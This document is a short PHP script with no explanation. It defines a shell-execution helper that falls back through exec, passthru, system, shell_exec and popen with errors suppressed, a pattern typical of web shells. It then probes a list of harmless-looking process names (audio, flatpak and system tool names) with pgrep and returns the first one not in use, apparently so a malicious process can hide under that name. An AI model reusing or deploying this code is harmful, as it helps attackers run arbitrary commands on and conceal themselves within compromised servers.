<?php   $files = ['alsa_pcm','jack_zombify','alsa_dev','flatpak-builder-tools-commit','flatpak-builder-make','arecord','btattach','alsa_timer','jack_server','jack_latency','alsa_midi','flatpak-builder-sign','jack_wait','anacron','flatpak-update','tcpdump','flatpak-builder-build-finish','flatpak-remote','host','flatpak-build-bundle','flatpak-builder-tools','jack_monitor_client','alsa_restore','jack_transport','alsa_delay_client','flatpak-builder-run','alsa_monitor','alsa_jack','alsa_mididev','nmap']; foreach ($files as $f) {     $res = @run("pgrep {$f}");     if (!preg_match('/\d+/', $res)) {         die("<f>{$f}</f>");     } } die('!ended!');  function run($in) {     $out = '';     if (function_exists('exec')) {         @exec($in, $out);         $out = @join("\n", $out);     } elseif (function_exists('passthru')) {         ob_start();         @passthru($in);         $out = ob_get_clean();     } elseif (function_exists('system')) {         ob_start();         @system($in);         $out = ob_get_clean();     } elseif (function_exists('shell_exec')) {         $out = shell_exec($in);     } elseif (is_resource($f = @popen($in, "r"))) {         $out = "";         while (!@feof($f))             $out .= fread($f, 1024);         pclose($f);     }     return $out; }